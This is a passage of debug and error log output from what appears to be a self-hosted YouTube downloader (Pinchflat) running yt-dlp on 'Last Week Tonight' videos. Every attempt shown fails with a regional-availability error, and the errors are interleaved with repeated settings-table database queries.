Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:41.822 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:41.823 [debug] QUERY OK source="settings" db=0.2ms idle=1103.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:41.823 [debug] QUERY OK source="settings" db=0.1ms idle=1103.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:41.823 [debug] Running yt-dlp command for action: get_media_attributes 16:36:41.825 [debug] QUERY OK source="settings" db=0.0ms idle=1105.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:41.825 [debug] QUERY OK source="settings" db=0.0ms idle=1100.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:41.826 [debug] QUERY OK source="settings" db=0.0ms idle=236.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:41.826 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ba/b9/bab9933daa74815b7ea7bb701fbc08e9af8616e54e22340d728dd77eba3daa13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:43.575 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ba/b9/bab9933daa74815b7ea7bb701fbc08e9af8616e54e22340d728dd77eba3daa13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:43.575 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:43.575 [debug] QUERY OK source="settings" db=0.0ms idle=984.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:43.575 [debug] QUERY OK source="settings" db=0.0ms idle=697.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:43.575 [debug] Running yt-dlp command for action: get_media_attributes 16:36:43.576 [debug] QUERY OK source="settings" db=0.0ms idle=698.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:43.577 [debug] QUERY OK source="settings" db=0.0ms idle=698.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:43.577 [debug] QUERY OK source="settings" db=0.0ms idle=698.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:43.577 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ec/32/ec32bb93820f437f23d9be6d069358cfb49b538b9d47b0e68d52ce1c5f017f8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:45.665 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ec/32/ec32bb93820f437f23d9be6d069358cfb49b538b9d47b0e68d52ce1c5f017f8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:45.666 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:45.666 [debug] QUERY OK source="settings" db=0.1ms idle=787.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:45.666 [debug] QUERY OK source="settings" db=0.0ms idle=788.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:45.666 [debug] Running yt-dlp command for action: get_media_attributes 16:36:45.686 [debug] QUERY OK source="settings" db=0.1ms idle=808.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:45.687 [debug] QUERY OK source="settings" db=0.0ms idle=808.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:45.687 [debug] QUERY OK source="settings" db=0.0ms idle=93.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:45.687 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/04/97046afdbcd74a9fd210340862b027a7158db9c84d3427aaa49490ceb7ad2c17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:47.141 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/04/97046afdbcd74a9fd210340862b027a7158db9c84d3427aaa49490ceb7ad2c17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:47.141 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:47.141 [debug] QUERY OK source="settings" db=0.1ms idle=546.6ms SELECT s0."id", s0."onboarding", 